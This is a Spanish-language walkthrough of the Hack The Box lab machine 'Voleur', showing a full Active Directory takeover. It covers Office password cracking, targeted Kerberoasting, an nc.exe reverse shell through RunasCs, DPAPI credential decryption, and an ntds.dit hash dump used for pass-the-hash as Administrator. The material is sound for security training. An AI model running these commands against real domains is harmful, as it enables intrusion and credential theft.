Voleur

OS: Windows
Dificultad: Medio
Puntos: 30

Nmap

ports=$(nmap -p- --min-rate=5000 10.10.11.76 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p $ports -sV -sC 10.10.11.76
Nmap scan report for 10.10.11.76
Host is up (0.096s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-11 06:19:41Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
2222/tcp  open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
|   256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
|_  256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
58289/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
58290/tcp open  msrpc         Microsoft Windows RPC
58291/tcp open  msrpc         Microsoft Windows RPC
58317/tcp open  msrpc         Microsoft Windows RPC
62723/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Enumeration

HTB nos proporciona credenciales para iniciar la enumeración.

ryan.naylor : HollowOct31Nyt

Agregamos el dominio y el subdominio a nuestro archivo hosts.

10.10.11.76   voleur.htb dc.voleur.htb

Al intentar usar las credenciales directamente nos muestra el siguiente error.

session setup failed: NT_STATUS_NOT_SUPPORTED

Este error es porque está desactivado la autenticación por NTLM por lo tanto necesitamos autenticarnos por kerberos para acceder a los recursos. Utilizamos el módulo bloodhound de netexec para obtener información.

Note

Siempre tenemos que sincronizar la hora con el servidor para no tener el error KRB_AP_ERR_SKEW.
timedatectl set-ntp off
ntpdate -s 10.10.11.76

Utilizamos netexec para enumerar la máquina.

nxc ldap 10.10.11.76 -u 'ryan.naylor' -p 'HollowOct31Nyt' -k -d voleur.htb --bloodhound -c all --dns-server 10.10.11.76
LDAP        10.10.11.76     389    DC               [*] None (name:DC) (domain:voleur.htb)
LDAP        10.10.11.76     389    DC               [+] voleur.htb\ryan.naylor:HollowOct31Nyt 
LDAP        10.10.11.76     389    DC               Resolved collection methods: container, localadmin, group, session, trusts, acl, rdp, psremote, objectprops, dcom                                                                                                                             
LDAP        10.10.11.76     389    DC               Using kerberos auth without ccache, getting TGT
LDAP        10.10.11.76     389    DC               Done in 00M 27S
LDAP        10.10.11.76     389    DC               Compressing output into /root/.nxc/logs/DC_10.10.11.76_2025-07-11_024906_bloodhound.zip

El usuario ryan.naylor no pertenece a ningún grupo que nos permita realizar acciones sobre otros objetos por lo tanto enumeramos el servicio SMB, pero es necesario acceder por medio del nombre de dominio dc.voleur.htb.

Con el siguiente comando podemos descargar todos los archivos a los que tengamos acceso.

nxc smb dc.voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -k -M spider_plus

Vemos el archivo Access_Review.xlsx.

cat /root/.nxc/modules/nxc_spider_plus/dc.voleur.htb.json
"IT": {
        "First-Line Support/Access_Review.xlsx"

Office Crack Password

Al intentar abrir el archivo nos pide un password. Podemos intentar obtenerlo utilizando office2john, esto nos genera un hash para posteriormente romperlo con john.

office2john Access_Review.xlsx > hash.txt

Obtenemos el password del archivo.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 128/128 AVX 4x / SHA512 128/128 AVX 2x AES])
Cost 1 (MS Office version) is 2013 for all loaded hashes
Cost 2 (iteration count) is 100000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
football1        (Access_Review.xlsx)     
1g 0:00:00:03 DONE (2025-07-11 03:40) 0.3164g/s 248.1p/s 248.1c/s 248.1C/s football1..lolita
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Al abrir el archivo vemos unos cuantos passwords.

Comprobamos que tenemos acceso con los usuarios.

nxc smb dc.voleur.htb -u 'svc_ldap' -p 'M1XyC9pW7qT5Vn' -k
SMB         dc.voleur.htb   445    dc               [+] voleur.htb\svc_ldap:M1XyC9pW7qT5Vn
nxc smb dc.voleur.htb -u 'svc_iis' -p 'N5pXyW1VqM7CZ8' -k
SMB         dc.voleur.htb   445    dc               [+] voleur.htb\svc_iis:N5pXyW1VqM7CZ8

WriteSPN (User)

El usuario svc_ldap tiene el permiso WriteSPN sobre el usuario svc_winrm esto nos permite realizar Targeted Kerberoasting y obtener un hash para posteriormente romperlo.

Primero escribimos sobre el atributo serviceprincipalname con el siguiente comando.

bloodyAD -d 'voleur.htb' --host 'dc.voleur.htb' -u 'svc_ldap' -p 'M1XyC9pW7qT5Vn' -k set object 'svc_winrm' servicePrincipalName -v 'http/doom'
[+] svc_winrm's servicePrincipalName has been updated

Ahora obtenemos el kerberos hash.

nxc ldap 10.10.11.76 -u 'svc_ldap' -p 'M1XyC9pW7qT5Vn' -k --kerberoast hash.txt
LDAP        10.10.11.76     389    DC               [*] None (name:DC) (domain:voleur.htb)
LDAP        10.10.11.76     389    DC               [+] voleur.htb\svc_ldap:M1XyC9pW7qT5Vn 
LDAP        10.10.11.76     389    DC               [*] Skipping disabled account: krbtgt
LDAP        10.10.11.76     389    DC               [*] Total of records returned 1
LDAP        10.10.11.76     389    DC               [*] sAMAccountName: svc_winrm, memberOf: CN=Remote Management Users,CN=Builtin,DC=voleur,DC=htb, pwdLastSet: 2025-01-31 04:10:12.398769, lastLogon: 2025-01-29 10:07:32.711487
LDAP        10.10.11.76     389    DC               $krb5tgs$23$*svc_winrm$VOLEUR.HTB$voleur.htb\svc_winrm*$28b3be7da

Utilizamos john nuevamente para obtener el password.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=krb5tgs
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
AFireInsidedeOzarctica980219afi (?)     
1g 0:00:00:04 DONE (2025-07-11 04:01) 0.2197g/s 2521Kp/s 2521Kc/s 2521KC/s AHANACK6978012..AFITA4162
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Evil-winrm (Kerberos)

Este usuario se pueden conectar remotamente, ya que pertenece al grupo Remote Management Users. Para conectarnos por kerberos primero tenemos que configurar nuestro archivo krb5.conf con lo siguiente.

Note

Necesitamos instalar kerberos en nuestro sistema:
apt install krb5-user

Agregamos las siguientes líneas al archivo /etc/krb5.conf.

[realms]
        VOLEUR.HTB = {
             kdc = dc.voleur.htb 
        }

Generamos un ticket con las credenciales.

impacket-getTGT voleur.htb/'svc_winrm':'AFireInsidedeOzarctica980219afi' -dc-ip 10.10.11.76
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in svc_winrm.ccache

Creamos la variable de entorno con el ticket.

export KRB5CCNAME=svc_winrm.ccache

Podemos comprobar que el ticket que exportamos anteriormente está cargado correctamente.

klist
Ticket cache: FILE:svc_winrm.ccache
Default principal: svc_winrm@VOLEUR.HTB

Valid starting       Expires              Service principal
07/11/2025 04:14:56  07/11/2025 14:14:56  krbtgt/VOLEUR.HTB@VOLEUR.HTB
        renew until 07/12/2025 04:14:55

Ahora para acceder ejecutamos el siguiente comando.

evil-winrm -i DC.VOLEUR.HTB -r VOLEUR.HTB
*Evil-WinRM* PS C:\Users\svc_winrm\Documents> type ..\Desktop\user.txt
3bcf9337ce3eb638566b5c962e731c9d

Lateral Movement

El usuario svc_ldap pertenece al grupo RESTORE_USER, este grupo nos permite restablecer objetos eliminados.

Sin embargo requerimos primero obtener una shell para eso utilizamos RunasCs. Primero subimos nc.exe y el RunasCs a la máquina.

mkdir c:\temp
cd c:\temp
upload /root/htb/Box/Voleur/RunasCs.exe
upload /root/htb/Box/Voleur/nc.exe

Establecemos nuestro netcat.

nc -lvnp 1234

Ejecutamos el siguiente comando para obtener una shell.

c:\temp\RunasCs.exe svc_ldap M1XyC9pW7qT5Vn "C:\temp\nc.exe 10.10.14.15 1234 -e cmd.exe" -t 0

AD Recycle Bin

Enumeramos que objetos han sido eliminados con el siguiente comando.

Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects -Property * | Format-List Name,ObjectGUID,Deleted,DistinguishedName
Name              : Deleted Objects
ObjectGUID        : 587cd8b4-6f6a-46d9-8bd4-8fb31d2e18d8
Deleted           : True
DistinguishedName : CN=Deleted Objects,DC=voleur,DC=htb

Name              : Todd Wolfe
                    DEL:1c6b1deb-c372-4cbb-87b1-15031de169db
ObjectGUID        : 1c6b1deb-c372-4cbb-87b1-15031de169db
Deleted           : True
DistinguishedName : CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur,DC=htb

Hay un objeto eliminado, lo podemos restaurar de la siguiente forma.

Restore-ADObject -Identity 1c6b1deb-c372-4cbb-87b1-15031de169db

No recibiremos respuesta, pero podemos confirmar que el objeto se restauró y además pertenece al grupo Second-Line Support Technician.

Actualmente contamos con el password del usuario que obtuvimos del archivo excel. Utilizamos las credenciales para crear un ticket.

impacket-getTGT voleur.htb/'todd.wolfe':'NightT1meP1dg3on14' -dc-ip 10.10.11.76
[*] Saving ticket in todd.wolfe.ccache
export KRB5CCNAME=todd.wolfe.ccache

Al intentar conectarnos por winrm no funciona, pero podemos enumerar nuevamente el SMB y vemos un directorio nuevo.

impacket-smbclient voleur.htb/todd.wolfe@dc.voleur.htb -k -no-pass

DPAPI

Después de enumerar identificamos que hay credenciales cifradas con DPAPI. Ya que no contamos con una shell del usuario actualmente podemos obtener la información cifrada de la siguiente forma.

Descargamos los siguientes archivos.

cd /Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Protect/S-1-5-21-3927696377-1337352550-2781715495-1110
get 08949382-134f-4c63-b93c-ce52efc0aa88
cd /Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Credentials
get 772275FAD58525253490A9B0039791D3

Ahora para obtener la masterkey ejecutamos lo siguiente.

impacket-dpapi masterkey -f 08949382-134f-4c63-b93c-ce52efc0aa88 -sid 'S-1-5-21-3927696377-1337352550-2781715495-1110' -password 'NightT1meP1dg3on14'
[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 08949382-134f-4c63-b93c-ce52efc0aa88
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83

Con la masterkey desciframos el archivo que contiene credenciales.

impacket-dpapi credential -f 772275FAD58525253490A9B0039791D3 -key '0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83'
[CREDENTIAL]
LastWritten : 2025-01-29 12:55:19+00:00
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=Jezzas_Account
Description : 
Unknown     : 
Username    : jeremy.combs
Unknown     : qT3V9pLXyN7W4m

Privilege Escalation

Con las credenciales obtenidas nos conectamos por winrm. Creando un ticket como lo hemos hecho anteriormente.

impacket-getTGT voleur.htb/'jeremy.combs':'qT3V9pLXyN7W4m' -dc-ip 10.10.11.76
[*] Saving ticket in jeremy.combs.ccache
export KRB5CCNAME=jeremy.combs.ccache
evil-winrm -i DC.VOLEUR.HTB -r VOLEUR.HTB
*Evil-WinRM* PS C:\Users\jeremy.combs\Documents> whoami
voleur\jeremy.combs

SSH Access

En el directorio IT nuevamente descubrimos más archivos. Entre ellos la llave privada para conectarnos por SSH y una nota.

*Evil-WinRM* PS C:\IT\Third-Line Support> dir


    Directory: C:\IT\Third-Line Support


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         1/30/2025   8:11 AM                Backups
-a----         1/30/2025   8:10 AM           2602 id_rsa
-a----         1/30/2025   8:07 AM            186 Note.txt.txt

La nota menciona que están utilizando WSL como sistema de backup.

Jeremy,

I've had enough of Windows Backup! I've part configured WSL to see if we can utilize any of the backup tools from Linux.

Please see what you can set up.

Thanks,

Admin

Descargamos la llave a nuestra máquina.

*Evil-WinRM* PS C:\IT\Third-Line Support> download id_rsa
                                        
Info: Downloading C:\IT\Third-Line Support\id_rsa to id_rsa
                                        
Info: Download successful!

Utilizamos la llave con el usuario svc_backup. Recordemos que primero hay que darle permiso de lectura al archivo chmod 400 id_rsa.

ssh -p 2222 -i id_rsa svc_backup@10.10.11.76
svc_backup@DC:~$ whoami
svc_backup

WSDL Backup

Accedemos al directorio Backup desde el wsdl y nos encontramos con archivos importantes que nos permitirán obtener hashes NT.

Descargamos los archivos.

scp -P 2222 -i id_rsa svc_backup@10.10.11.76:'/mnt/c/IT/Third-Line Support/Backups/Active Directory/ntds.dit' .
scp -P 2222 -i id_rsa svc_backup@10.10.11.76:'/mnt/c/IT/Third-Line Support/Backups/registry/SYSTEM' .

Dump NT Hashes

Con esos archivos extraemos los hashes utilizando impacket.

impacket-secretsdump LOCAL -system SYSTEM -ntds ntds.dit
[*] Target system bootKey: 0xbbdd1a32433b87bcc9b875321b883d2d
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 898238e1ccd2ac0016a18c53f4569f40
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:d5db085d469e3181935d311b72634d77:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5aeef2c641148f9173d663be744e323c:::

Creamos un ticket con el hash del usuario Adminstrator.

impacket-getTGT voleur.htb/'Administrator' -hashes :e656e07c56d831611b577b160b259ad2 -dc-ip 10.10.11.76
[*] Saving ticket in Administrator.ccache
export KRB5CCNAME=Administrator.ccache

Nos conectamos por winrm.

evil-winrm -i DC.VOLEUR.HTB -r VOLEUR.HTB
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
f026cca590281e651b5a9ade9b73a9c7

References

https://www.thehacker.recipes/ad/movement/dacl/targeted-kerberoasting
https://github.com/antonioCoco/RunasCs
https://github.com/int0x33/nc.exe/
https://github.com/GhostPack/Seatbelt
https://github.com/GhostPack/SharpDPAPI
https://tools.thehacker.recipes/mimikatz/modules/dpapi/masterkey
https://tools.thehacker.recipes/mimikatz/modules/dpapi/cred